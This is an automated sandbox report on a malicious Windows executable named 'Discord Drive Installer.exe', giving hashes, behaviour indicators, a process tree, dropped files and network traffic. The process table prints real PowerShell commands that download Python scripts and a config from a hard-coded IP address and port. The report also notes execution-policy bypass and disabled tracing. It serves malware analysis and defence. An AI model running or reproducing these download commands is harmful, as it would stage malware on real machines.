File name:

Discord Drive Installer.exe

Full analysis: https://app.any.run/tasks/fa0b2e39-81e9-4a9b-b372-cb1ab7b37ea3
Verdict: Malicious activity
Analysis date: September 08, 2024, 15:24:38
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (console) Intel 80386, for MS Windows
MD5:

1119F847710C792096433EFC376C239F

SHA1:

6D39EEDE3B4E838E503964D49D54828122B6F11B

SHA256:

20C69D0FC9EA7028125310D2EEBF08FB92A6DE1CC5DB3259DF3C8A66E8AD6571

SSDEEP:

3072:7CYa+0Nu6vQAkQ5S7JmyxCbBKhiTbMyOKtMeXBF5b2hbeVbN:IQLi8NiTbVODMByhyVbN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 4292)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 1104)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 4292)

  • SUSPICIOUS

    • Probably download files using WebClient

      • cmd.exe (PID: 1104)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 1104)

    • Executing commands from a ".bat" file

      • Discord Drive Installer.exe (PID: 4692)

    • Starts CMD.EXE for commands execution

      • Discord Drive Installer.exe (PID: 4692)

    • The process creates files with name similar to system file names

      • powershell.exe (PID: 4292)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 4292)

    • Drops 7-zip archiver for unpacking

      • powershell.exe (PID: 4292)

    • Creates a directory (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Gets path to any of the special folders (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 4292)
      • choco.exe (PID: 2112)

    • Searches for installed software

      • choco.exe (PID: 2112)

    • Checks Windows Trust Settings

      • choco.exe (PID: 2112)

    • Reads security settings of Internet Explorer

      • choco.exe (PID: 2112)

    • The system shut down or reboot

      • choco.exe (PID: 2112)

    • Uses ICACLS.EXE to modify access control lists

      • cmd.exe (PID: 1104)

    • Request a resource from the Internet using PowerShell's cmdlet

      • cmd.exe (PID: 1104)

    • Found IP address in command line

      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 2068)
      • powershell.exe (PID: 3908)
      • powershell.exe (PID: 7040)
      • powershell.exe (PID: 5552)
      • powershell.exe (PID: 4192)
      • powershell.exe (PID: 5264)

    • Downloads file from URI

      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 2068)
      • powershell.exe (PID: 3908)
      • powershell.exe (PID: 7040)
      • powershell.exe (PID: 5552)
      • powershell.exe (PID: 4192)
      • powershell.exe (PID: 5264)

    • Connects to unusual port

      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 2068)
      • powershell.exe (PID: 3908)
      • powershell.exe (PID: 5264)
      • powershell.exe (PID: 7040)
      • powershell.exe (PID: 4192)
      • powershell.exe (PID: 5552)

    • Process requests binary or script from the Internet

      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 7040)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1104)

    • The process executes Powershell scripts

      • cmd.exe (PID: 1104)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 1104)

  • INFO

    • Checks supported languages

      • Discord Drive Installer.exe (PID: 4692)
      • choco.exe (PID: 6616)
      • choco.exe (PID: 4192)
      • choco.exe (PID: 2112)

    • Create files in a temporary directory

      • Discord Drive Installer.exe (PID: 4692)
      • choco.exe (PID: 2112)

    • The process uses the downloaded file

      • powershell.exe (PID: 4292)
      • choco.exe (PID: 2112)

    • Uses string replace method (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Creates files in the program directory

      • powershell.exe (PID: 4292)
      • choco.exe (PID: 6616)
      • choco.exe (PID: 2112)
      • cmd.exe (PID: 1104)
      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 3908)
      • powershell.exe (PID: 7040)
      • powershell.exe (PID: 2068)
      • powershell.exe (PID: 5264)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 4292)

    • Reads the computer name

      • choco.exe (PID: 6616)
      • choco.exe (PID: 4192)
      • choco.exe (PID: 2112)

    • Reads the machine GUID from the registry

      • choco.exe (PID: 6616)
      • choco.exe (PID: 2112)

    • Checks proxy server information

      • choco.exe (PID: 2112)
      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 2068)
      • powershell.exe (PID: 3908)
      • powershell.exe (PID: 7040)
      • powershell.exe (PID: 5552)
      • powershell.exe (PID: 5264)
      • powershell.exe (PID: 4292)
      • powershell.exe (PID: 4192)

    • Reads Environment values

      • choco.exe (PID: 2112)

    • Disables trace logs

      • choco.exe (PID: 2112)
      • powershell.exe (PID: 6904)
      • powershell.exe (PID: 3316)
      • powershell.exe (PID: 3908)
      • powershell.exe (PID: 2068)
      • powershell.exe (PID: 5552)
      • powershell.exe (PID: 4292)
      • powershell.exe (PID: 5264)
      • powershell.exe (PID: 7040)
      • powershell.exe (PID: 4192)

    • Reads the software policy settings

      • choco.exe (PID: 2112)

    • Process checks Powershell version

      • choco.exe (PID: 2112)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 4292)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (41)
.exe | Win64 Executable (generic) (36.3)
.dll | Win32 Dynamic Link Library (generic) (8.6)
.exe | Win32 Executable (generic) (5.9)
.exe | Win16/32 Executable Delphi generic (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2019:07:30 08:52:45+00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 2.5
CodeSize: 70656
InitializedDataSize: 61440
UninitializedDataSize: -
EntryPoint: 0x1000
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows command line
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
158
Monitored processes
28
Malicious processes
4
Suspicious processes
1

Behavior graph

Click at the process to see the details
start discord drive installer.exe conhost.exe no specs cmd.exe no specs net.exe no specs net1.exe no specs powershell.exe setx.exe no specs setx.exe no specs setx.exe no specs setx.exe no specs choco.exe no specs choco.exe no specs choco.exe sppextcomobj.exe no specs slui.exe no specs shutdown.exe no specs conhost.exe no specs icacls.exe no specs powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe powershell.exe icacls.exe no specs powershell.exe powershell.exe discord drive installer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
232C:\WINDOWS\system32\SppExtComObj.exe -EmbeddingC:\Windows\System32\SppExtComObj.Exe—svchost.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
KMS Connection Broker
Version:
10.0.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll
1104"C:\WINDOWS\sysnative\cmd" /c "C:\Users\admin\AppData\Local\Temp\9DEE.tmp\9DEF.tmp\9DF0.bat "C:\Users\admin\AppData\Local\Temp\Discord Drive Installer.exe""C:\Windows\System32\cmd.exe—Discord Drive Installer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows Command Processor
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\cmdext.dll
2068powershell -Command "Invoke-WebRequest -Uri http://216.203.15.234:6942/download.py -OutFile download.py"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
2080\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—Discord Drive Installer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2112"C:\ProgramData\chocolatey\choco.exe" install curl -y -forceC:\ProgramData\chocolatey\choco.exe
choco.exe
User:
admin
Company:
Chocolatey Software, Inc.
Integrity Level:
HIGH
Description:
Exit code:
4294967295
Version:
2.3.0.0
Modules
Images
c:\programdata\chocolatey\choco.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2232"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEventC:\Windows\System32\slui.exe—SppExtComObj.Exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows Activation Client
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2576"C:\WINDOWS\System32\setx.exe" ChocolateyLastPathUpdate 133702826976781496C:\Windows\System32\setx.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Setx - Sets environment variables
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\setx.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ws2_32.dll
2584\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—shutdown.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3316powershell -Command "Invoke-WebRequest -Uri http://216.203.15.234:6942/config.json -OutFile config.json"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
3908powershell -Command "Invoke-WebRequest -Uri http://216.203.15.234:6942/log_display.py -OutFile log_display.py"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
Total events
52 117
Read events
52 084
Write events
32
Delete events
1

Modification events

(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(4292) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
15
Suspicious files
14
Text files
161
Unknown types
0

Dropped files

PID
Process
Filename
Type
4692Discord Drive Installer.exeC:\Users\admin\AppData\Local\Temp\9DEE.tmp\9DEF.tmp\9DF0.battext
MD5:AF3531799244490BE29E96B004951EE9
SHA256:F7CFA7D00A9F0E265BBAF56464A61DA4C9A83530EB73F3049EBE7DE00C88226E
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\chocolatey.nuspecxml
MD5:6F1D1A607FCF498C306BA60F4C49E0BB
SHA256:A2B9463494ED831C3A388C1867043FDA6D7B308125F1CE33E52C914DE5D35B99
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\VERIFICATION.txttext
MD5:F5BA42804D762840BBDA4CB2AE6824E7
SHA256:75595E484E5BC5283398D878E882A234E4F0C1556FA5D41E8770336881E1C4FE
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\LICENSE.txttext
MD5:B4ECFC2FF4822CE40435ADA0A02D4EC5
SHA256:A42AC97C0186E34BDC5F5A7D87D00A424754592F0EC80B522A872D630C1E870A
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\choco.exeexecutable
MD5:76D8FE544353FB6DFC258FCFBE9264D9
SHA256:9A058764417A634DCB53AF74C50F9552AF3BC0B873A562F383AF36FEEFC1496E
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\CREDITS.txttext
MD5:7677758586925BAF4E9D7573BF12F273
SHA256:4387F7836591FD9B384D5A11C22685D5441ED8F56A15DD962C28174F60D1B35B
4292powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kvft1qms.khv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\helpers\chocolateyProfile.psm1text
MD5:2D821E986CC3D5BAED2B35FD7C98291C
SHA256:91B8605FAFBA35D44F4352AA96F8D8FB366D0970E68BD194326F80ECA67BF6D3
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\helpers\Chocolatey.PowerShell.dll-help.xmlxml
MD5:B01CE7945B984A7D4577948805BDC514
SHA256:6CFE6AAF300B0447EABAD6F801DCC38461B0802F75F433DDE2C642E52BC9D36B
4292powershell.exeC:\Users\admin\AppData\Local\Temp\chocolatey\chocoInstall\tools\chocolateyInstall\helpers\chocolateyInstaller.psm1text
MD5:8FEB9F84CFD079BF675F4C448EB62C27
SHA256:4AF7D8DCDBA7335F96D4D7F9B7AB75B29A890380D8C7C35C59F60739DB8A604E
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
38
DNS requests
18
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3352
svchost.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1436
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7004
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
7004
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
3908
powershell.exe
GET
200
216.203.15.234:6942
http://216.203.15.234:6942/log_display.py
unknown
—
—
unknown
6904
powershell.exe
GET
200
216.203.15.234:6942
http://216.203.15.234:6942/upload.py
unknown
—
—
unknown
3316
powershell.exe
GET
200
216.203.15.234:6942
http://216.203.15.234:6942/config.json
unknown
—
—
unknown
2068
powershell.exe
GET
200
216.203.15.234:6942
http://216.203.15.234:6942/download.py
unknown
—
—
unknown
7040
powershell.exe
GET
200
216.203.15.234:6942
http://216.203.15.234:6942/run.bat
unknown
—
—
unknown
5264
powershell.exe
GET
200
216.203.15.234:6942
http://216.203.15.234:6942/converted_image.ico
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
3352
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6856
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4292
powershell.exe
104.18.21.76:443
chocolatey.org
CLOUDFLARENET
—
whitelisted
3352
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3352
svchost.exe
88.221.169.152:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3260
svchost.exe
40.113.110.67:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1436
svchost.exe
40.126.32.76:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 20.73.194.208
  • 4.231.128.59
  • 52.167.17.97
  • 51.104.136.2
whitelisted
google.com
  • 142.250.181.238
whitelisted
chocolatey.org
  • 104.18.21.76
  • 104.18.20.76
whitelisted
community.chocolatey.org
  • 104.18.21.76
  • 104.18.20.76
whitelisted
packages.chocolatey.org
  • 104.18.21.76
  • 104.18.20.76
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
client.wns.windows.com
  • 40.113.110.67
whitelisted
login.live.com
  • 40.126.32.76
  • 40.126.32.136
  • 40.126.32.140
  • 40.126.32.74
  • 20.190.160.14
  • 40.126.32.68
  • 40.126.32.133
  • 20.190.160.20
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
slscr.update.microsoft.com
  • 20.114.59.183
whitelisted

Threats

PID
Process
Class
Message
4292
powershell.exe
Potentially Bad Traffic
ET INFO Observed Chocolatey Windows Package Management Domain (chocolatey .org in TLS SNI)
2112
choco.exe
Potentially Bad Traffic
ET INFO Observed Chocolatey Windows Package Management Domain (chocolatey .org in TLS SNI)
6904
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3316
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
2068
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
3908
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
7040
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5264
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5552
powershell.exe
Not Suspicious Traffic
ET INFO Windows Powershell User-Agent Usage
5552
powershell.exe
Misc activity
ET INFO LNK File Downloaded via HTTP
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
Discord Drive Installer.exe